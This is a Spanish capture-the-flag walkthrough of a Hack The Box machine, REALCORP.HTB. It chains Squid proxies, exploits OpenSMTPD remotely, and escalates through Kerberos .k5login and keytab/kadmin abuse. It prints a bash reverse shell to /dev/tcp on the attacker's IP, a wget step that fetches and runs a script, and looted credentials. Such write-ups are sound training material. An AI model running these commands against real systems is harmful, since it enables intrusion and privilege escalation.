Conocimientos

  • Enumeración DNS

  • SQUID Proxy

  • Enumeración WPAD

  • Explotación SMTPD

  • SSH con Kerberos

  • Enumeración de Kerberos


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

sudo nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.224 -vvv
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 16:29 GMT
Initiating SYN Stealth Scan at 16:29
Scanning 10.10.10.224 [65535 ports]
Discovered open port 22/tcp on 10.10.10.224
Discovered open port 53/tcp on 10.10.10.224
Discovered open port 88/tcp on 10.10.10.224
Discovered open port 3128/tcp on 10.10.10.224
Completed SYN Stealth Scan at 16:29, 39.54s elapsed (65535 total ports)
Nmap scan report for 10.10.10.224
Host is up, received user-set (0.050s latency).
Scanned at 2023-01-18 16:29:16 GMT for 39s
Not shown: 65485 filtered tcp ports (no-response), 45 filtered tcp ports (admin-prohibited), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      REASON
22/tcp   open  ssh          syn-ack ttl 63
53/tcp   open  domain       syn-ack ttl 63
88/tcp   open  kerberos-sec syn-ack ttl 63
3128/tcp open  squid-http   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 39.62 seconds
           Raw packets sent: 196550 (8.648MB) | Rcvd: 51 (3.500KB)

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,53,88,3128 10.10.10.224 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 16:30 GMT
Nmap scan report for 10.10.10.224
Host is up (0.045s latency).

PORT     STATE SERVICE      VERSION
22/tcp   open  ssh          OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 8ddd1810e57bb0daa3fa1437a7527a9c (RSA)
|   256 f6a92e57f818b6f4ee0341271e1f9399 (ECDSA)
|_  256 0474dd6879f42278d8cedd8b3e8c763b (ED25519)
53/tcp   open  domain       ISC BIND 9.11.20 (RedHat Enterprise Linux 8)
| dns-nsid: 
|_  bind.version: 9.11.20-RedHat-9.11.20-5.el8
88/tcp   open  kerberos-sec MIT Kerberos (server time: 2023-01-18 16:30:56Z)
3128/tcp open  http-proxy   Squid http proxy 4.11
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/4.11
Service Info: Host: REALCORP.HTB; OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:8

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.12 seconds

Nmap reporta un dominio, por lo que para que resuelva, lo añado al etc/hosts

echo '10.10.10.224 REALCORP.HTB' >> /etc/hosts

Puerto 53 (DNS)

Se puede tratar de efectuar un ataque de transferencia de zona (axfr), así como enumerar mail servers y servidores dns

Para ello se puede utilizar la herramienta dig

AXFR

dig @10.10.10.224 realcorp.htb axfr

; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.224 realcorp.htb axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.

MS

dig @10.10.10.224 realcorp.htb ms

; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.224 realcorp.htb ms
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18479
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: c264233f5559a245e84bff4e63c81feda821374cc8ffa636 (good)
;; QUESTION SECTION:
;realcorp.htb.			IN	A

;; AUTHORITY SECTION:
realcorp.htb.		86400	IN	SOA	realcorp.htb. root.realcorp.htb. 199609206 28800 7200 2419200 86400

;; Query time: 47 msec
;; SERVER: 10.10.10.224#53(10.10.10.224) (UDP)
;; WHEN: Wed Jan 18 16:35:57 GMT 2023
;; MSG SIZE  rcvd: 110

;; communications error to 10.10.10.224#53: timed out
;; communications error to 10.10.10.224#53: timed out
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 974
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: c264233f5559a2458be7d8cd63c81ff7ea551af9954b1dd7 (good)
;; QUESTION SECTION:
;ms.				IN	A

;; Query time: 43 msec
;; SERVER: 10.10.10.224#53(10.10.10.224) (UDP)
;; WHEN: Wed Jan 18 16:36:07 GMT 2023
;; MSG SIZE  rcvd: 59

NS

dig @10.10.10.224 realcorp.htb ns

; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.224 realcorp.htb ns
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54913
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: b4a50cfa749d210cc2f9e4bb63c8200689e3738796610904 (good)
;; QUESTION SECTION:
;realcorp.htb.			IN	NS

;; ANSWER SECTION:
realcorp.htb.		259200	IN	NS	ns.realcorp.htb.

;; ADDITIONAL SECTION:
ns.realcorp.htb.	259200	IN	A	10.197.243.77

;; Query time: 47 msec
;; SERVER: 10.10.10.224#53(10.10.10.224) (UDP)
;; WHEN: Wed Jan 18 16:36:22 GMT 2023
;; MSG SIZE  rcvd: 102

Aquí se puede ver como hay un subdominio que no apunta a la IP de la máquina víctima si no a otra que no está en el mismo segmento, por lo que no tengo conectividad y no tiene sentido añadirla al /etc/hosts.

A parte de tramitar consultas DNS con dig, también es posible aplicar fuerza bruta con otras herramientas como dnsenum

dnsenum --dnsserver 10.10.10.224 --threads 30 -f /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt realcorp.htb
dnsenum VERSION:1.2.6

-----   realcorp.htb   -----

Brute forcing with /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:
________________________________________________________________________________________________

ns.realcorp.htb.                         259200   IN    A        10.197.243.77
proxy.realcorp.htb.                      259200   IN    CNAME    ns.realcorp.htb.
ns.realcorp.htb.                         259200   IN    A        10.197.243.77
wpad.realcorp.htb.                       259200   IN    A        10.197.243.31

Estos subdominios con sus correspondientes IPs, los añado al /etc/hosts.

Puerto 80

En la página web se puede observar un usuario y otro subdominio a través del error

Añado el subdominio srv01.realcorp.htb al /etc/hosts

Puerto 3128

Corresponde a un SQUID Proxy, por lo que para pasar a través del mismo, se puede utilizar proxychains, y llegar a segmentos a los que de primeras no tendría acceso.

El archivo de configuración del proxychains (/etc/proxychains4.conf) debe contener unicamente el siguiente proxy:

http 10.10.10.224 3128

Al escanear los puertos locales pasando por el proxy definido, se puede tratar de comunicar a servicios a los que de primeras no se tiene acceso

Al escanear los puertos de 10.197.243.77 no resuelve a nada. Pero como está involucrado un SQUID Proxy, se puede tratar de utilizar la propia interfaz interna del SQUID Proxy para llegar a comunicarse con ese equipo.

Por tanto, hay que añadir un nuevo procy al /etc/proxychains4.conf

http 10.10.10.224 3128
http 127.0.0.1 3128

A la hora de escanear los puertos, utilizo un secuenciador y xargs con hilos para ganar agilidad, ya que si no se demora mucho tiempo.

seq 1 65535 | xargs -P 200 -I {} proxychains nmap -p{} -sT -Pn -v -n 10.197.243.77 -vvv 2>/dev/null | grep "tcp open"
53/tcp open  domain  syn-ack
22/tcp open  ssh     syn-ack
88/tcp open  kerberos-sec syn-ack
464/tcp open  kpasswd5 syn-ack
749/tcp open  kerberos-adm syn-ack
3128/tcp open  squid-http syn-ack

Como con esta IP si que tengo conectividad a la hora de escanear los puertos pero con 10.197.243.31, añado otro proxy para pasar por la interfaz de esta última máquina y escanear nuevamente los puertos de 10.197.243.31

http 10.10.10.224 3128
http 127.0.0.1 3128
http 10.197.243.77 3128

Y ahora si que nmap reporta los puertos

seq 1 65535 | xargs -P 200 -I {} proxychains nmap -p{} -sT -Pn -v -n 10.197.243.31 -vvv 2>/dev/null | grep "tcp open"
22/tcp open  ssh     syn-ack
53/tcp open  domain  syn-ack
80/tcp open  http    syn-ack
88/tcp open  kerberos-sec syn-ack
464/tcp open  kpasswd5 syn-ack
749/tcp open  kerberos-adm syn-ack
3128/tcp open  squid-http syn-ack

Como tiene una página web, se puede tratar de ver su contenido

Pero no tengo acceso

proxychains curl -s -X GET wpad.realcorp.htb 2>/dev/null| html2text
                          ****** 403 Forbidden ******
===============================================================================
                                 nginx/1.14.1

En Hacktricks, buscando por WPAD, contemplan una ruta que contiene un archivo de configuración. Para más información haz click aquí

Su contenido es el siguiente:

 proxychains curl -s -X GET wpad.realcorp.htb/wpad.dat 2>/dev/null
function FindProxyForURL(url, host) {
    if (dnsDomainIs(host, "realcorp.htb"))
        return "DIRECT";
    if (isInNet(dnsResolve(host), "10.197.243.0", "255.255.255.0"))
        return "DIRECT"; 
    if (isInNet(dnsResolve(host), "10.241.251.0", "255.255.255.0"))
        return "DIRECT"; 
 
    return "PROXY proxy.realcorp.htb:3128";
}

En esa función de javascript se puede ver un nuevo segmento que no he enumerado el cual puede contemplar IPs con servicios vulnerables

Como con proxychains no se pueden lanzar trazas ICMP, con nmap voy a escanear unos pocos puertos de cada IP posible (almacenados en un fichero temporal).

for i in $(seq 1 255); do cat commonports | xargs -P 200 -I {} proxychains nmap -p{} -sT -Pn -v -n 10.241.251.$i -vvv 2>/dev/null | grep -A 4 "tcp open" | grep -vE "Read|Nmap|Starting"; done
22/tcp open  ssh     syn-ack

Scanning 10.241.251.1 [1 port]
--
88/tcp open  kerberos-sec syn-ack

25/tcp open  smtp    syn-ack

Scanning 10.241.251.113 [1 port]

En la IP 10.241.251.113 está el puerto 25 abierto, y nmap reporta que es smtp, pero para saber la versión y el servicio exacto, conviene lanzar unos scripts más específicos con nmap

proxychains nmap -sCV -p25 10.241.251.113 -sT -Pn
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 18:18 GMT
Nmap scan report for 10.241.251.113
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
25/tcp open  smtp    OpenSMTPD
| smtp-commands: smtp.realcorp.htb Hello nmap.scanme.org [10.241.251.1], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP
|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please contact bugs@openbsd.org 2.0.0 with full details 2.0.0 End of HELP info
Service Info: Host: smtp.realcorp.htb

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds

Buscando vulnerabilidades para OpenSMTPD encuentro lo siguiente:

searchsploit opensmtpd
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                                                |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
OpenSMTPD - MAIL FROM Remote Code Execution (Metasploit)                                                                                                                      | linux/remote/48038.rb
OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)                                                                                                                  | linux/local/48185.rb
OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution                                                                                                  | openbsd/remote/48051.pl
OpenSMTPD 6.6.1 - Remote Code Execution                                                                                                                                       | linux/remote/47984.py
OpenSMTPD 6.6.3 - Arbitrary File Read                                                                                                                                         | linux/remote/48139.c
OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution                                                                                                      | openbsd/remote/48140.c
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Como la versión es la 2.0.0, en un principioo es vulnerable a una ejecución remota de comandos, así que descargo el exploit y lo examino

searchsploit -m linux/remote/47984.py
mv 47984.py exploit.py

Si ejecuto el exploit y me pongo en escucha con netcat no recibo ninguna petición

proxychains python3 exploit.py 10.241.251.113 25 'wget 10.10.14.6'

Esto se puede dar en muchas ocasiones, ya que el script está diseñado para un usuario específico, el cual puede que no exista y haya que modificarlo.

Volviendo al principio, había encontrado un usuario en la página web principal, j.nakazawa

Sustituyéndolo en el script:

Ahora ya si funciona y recibo la petición en mi equipo

nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.224.
Ncat: Connection from 10.10.10.224:60886.
GET / HTTP/1.1
User-Agent: Wget/1.20.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.10.14.6
Connection: Keep-Alive

Para ganar acceso al sistema, basta con enviar una reverse shell con bash. Para ello hay que crear un archivo index.html con el siguiente contenido y hostearlo con python

cat index.html
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'


python3 -m http.server 80
proxychains python3 exploit.py 10.241.251.113 25 'wget 10.10.14.6 -O /dev/shm/revshell'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done
❯ proxychains python3 exploit.py 10.241.251.113 25 'bash /dev/shm/revshell'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

Y obtengo la shell

nc -nlvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.224.
Ncat: Connection from 10.10.10.224:34084.
bash: cannot set terminal process group (90): Inappropriate ioctl for device
bash: no job control in this shell
root@smtp:~# 

Tratamiento de la TTY

root@smtp:~# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@smtp:~# ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
root@smtp:~# export TERM=xterm
root@smtp:~# export SHELL=bash

Esta máquina no es la final, por lo que hay que aplicar pivoting

root@smtp:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: eth0@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 0a:14:f8:9e:1f:33 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.241.251.113/24 brd 10.241.251.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::814:f8ff:fe9e:1f33/64 scope link 
       valid_lft forever preferred_lft forever

En el directo de j.nakazawa hay un archivo con credenciales en texto claro

root@smtp:/home/j.nakazawa# cat .msmtprc 
# Set default values for all following accounts.
defaults
auth           on
tls            on
tls_trust_file /etc/ssl/certs/ca-certificates.crt
logfile        /dev/null

# RealCorp Mail
account        realcorp
host           127.0.0.1
port           587
from           j.nakazawa@realcorp.htb
user           j.nakazawa
password       sJB}RM>6Z~64_
tls_fingerprint	C9:6A:B9:F6:0A:D4:9C:2B:B9:F6:44:1F:30:B8:5E:5A:D8:0D:A5:60

# Set a default account
account default : realcorp

Como el ssh está abierto en la máquina víctima se puede tratar de ganar acceso al sistema

De momento no se puede, pero a hay a destacar un error

ssh j.nakazawa@10.10.10.224
The authenticity of host '10.10.10.224 (10.10.10.224)' can't be established.
ED25519 key fingerprint is SHA256:jU/fBtt04OZczha/InvaZgDCZKbuGDpHT2AzRKxsesg.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.224' (ED25519) to the list of known hosts.
j.nakazawa@10.10.10.224's password: 
Permission denied, please try again.
j.nakazawa@10.10.10.224's password: 
Permission denied, please try again.
j.nakazawa@10.10.10.224's password: 
j.nakazawa@10.10.10.224: Permission denied (gssapi-keyex,gssapi-with-mic,password).

Hace referencia a una autenticación por kerberos, por lo que hay que crear un archivo de configuración que tengo que crear y para poder autenticarme.

Para crear el archivo, basta con ejecutar lo siguiente:

dpkg-reconfigure krb5-config

Se abrirá una interfaz gráfica donde hay que indicar el reino predeterminado de la versión 5 de Kerberos. En este caso REALCORP.HTB, importante que esté en mayusculas, es case-sensitive

En la siguiente pantalla habrá que decir que si quiero indicar la IP

En ambos casos hay que poner la de la máquina a la que me voy a conectar por ssh

Hay que modificar el fichero /etc/krb5.conf para que valga lo siguiente:

[libdefaults]
  default_realm = REALCORP.HTB

[realms]
  REALCORP.HTB = {
    kdc = realcorp.htb:88
    }

Además, Kerberos es muy especial para el tema de la resolución DNS, por lo que hay que volver a modificar el fichero /etc/hosts para que el SPN sea el primero al que se hace referencia (He tardado casi 2 horas en llegar a esa conclusión)

10.10.10.224 srv01.realcorp.htb realcorp.htb root.realcorp.htb

Después creo un TGT para poder autenticarme a la máquina

kinit j.nakazawa
Password for j.nakazawa@REALCORP.HTB:

Y finalmente gano acceso

ssh j.nakazawa@10.10.10.224
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Thu Jan 19 12:36:51 2023 from 10.10.14.6
[j.nakazawa@srv01 ~]$ 

Se puede visualizar la primera flag

[j.nakazawa@srv01 ~]$ ls
user.txt
[j.nakazawa@srv01 ~]$ cat user.txt 
8cc1733bc02dba19f70e39fc699f927d

Escalada

En las tareas CRON, hay un script en bash que ejecuta el usuario admin cada minuto

[j.nakazawa@srv01 ~]$ cat /etc/crontab 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
* * * * * admin /usr/local/bin/log_backup.sh

El script contiene lo siguiente

[j.nakazawa@srv01 ~]$ cat /usr/local/bin/log_backup.sh
#!/bin/bash

/usr/bin/rsync -avz --no-perms --no-owner --no-group /var/log/squid/ /home/admin/
cd /home/admin
/usr/bin/tar czf squid_logs.tar.gz.`/usr/bin/date +%F-%H%M%S` access.log cache.log
/usr/bin/rm -f access.log cache.log

Se encarga de traer todo lo que haya en el directorio /var/log/squid/ al /home/admin/

Como pertenezco al grupo squid, puedo agregar contenido, pero no listarlo

[j.nakazawa@srv01 home]$ id
uid=1000(j.nakazawa) gid=1000(j.nakazawa) groups=1000(j.nakazawa),23(squid),100(users) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[j.nakazawa@srv01 home]$ ls -l /var/log/ | grep squid
drwx-wx---. 2 admin  squid      41 Dec 24  2020 squid

Como se emplea kerberos por detrás, estaría interesante tratar de agregar un archivo .k5login, ya que ahí se pueden asignar los principals (usuarios) a los que se le quiere dar acceso

Para conocer más sobre la estructura de estos archivos, haz click aquí

Si me intento conectar como el usuario admin por ssh me pide contraseña, la cual desconozco y además está deshabilitada la autenticación por ese método

ssh admin@10.10.10.224
admin@10.10.10.224's password: 

Si añado el principal de j.nakazawa al .k5login, ya no me tendré que autenticar ya que estoy arrastrando su TGT creado anteriormente

[j.nakazawa@srv01 squid]$ echo 'j.nakazawa@REALCORP.HTB' > .k5login

Y gano acceso como admin

ssh admin@10.10.10.224
Activate the web console with: systemctl enable --now cockpit.socket

Last failed login: Thu Jan 19 13:11:15 GMT 2023 from 10.10.10.224 on ssh:notty
There were 2 failed login attempts since the last successful login.
Last login: Thu Jan 19 13:11:01 2023
[admin@srv01 ~]$ 

Buscando por archivos cuyo grupo sea admin, aparecen ficheros de configuración de Kerberos

[admin@srv01 /]$ find / -type f -group admin 2>/dev/null | grep -vE "proc|cgroup"
/home/admin/squid_logs.tar.gz.2023-01-19-131301
/home/admin/squid_logs.tar.gz.2023-01-19-131401
/usr/local/bin/log_backup.sh
/etc/krb5.keytab

Los archivos .keytab de Kerberos, se utilizan para autenticarse contra el KDC

En este POC explican como es posible escalar privilegios en caso de que tenga capacidad de lectura y el propietario sea otro distinto de root.

Si busco por TGTs almacenados en la caché en principio no encuentra ninguno

[admin@srv01 /]$ klist
klist: Credentials cache 'KCM:1011' not found

Pero si especifico el archivo .keytab al que tengo acceso puedo ver algunos principals

[admin@srv01 /]$ klist -k /etc/krb5.keytab
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB

Con kadmin, me autentico al KDC y obtengo una sesión interactiva y utilizando el principal de kadmin

kadmin -kt /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB
Couldn't open log file /var/log/kadmind.log: Permission denied
Authenticating as principal kadmin/admin@REALCORP.HTB with keytab /etc/krb5.keytab.
kadmin: 

Como estoy autenticado, puedo crear un principal para el usuario root y setearle una contraseña, la que quiera

kadmin:  add_principal root@REALCORP.HTB
No policy specified for root@REALCORP.HTB; defaulting to no policy
Enter password for principal "root@REALCORP.HTB": 
Re-enter password for principal "root@REALCORP.HTB": 
Principal "root@REALCORP.HTB" created.

Una vez creado cierro la sesión y me autentico como root por kerberos

[admin@srv01 /]$ ksu
WARNING: Your password may be exposed if you enter it here and are logged 
         in remotely using an unsecure (non-encrypted) channel. 
Kerberos password for root@REALCORP.HTB: : 
Authenticated root@REALCORP.HTB
Account root: authorization for root@REALCORP.HTB successful
Changing uid to root (0)

Y puedo visualizar la flag

[root@srv01 /]# cat /root/root.txt
f974380b776a91dbce5b1b07f70697e8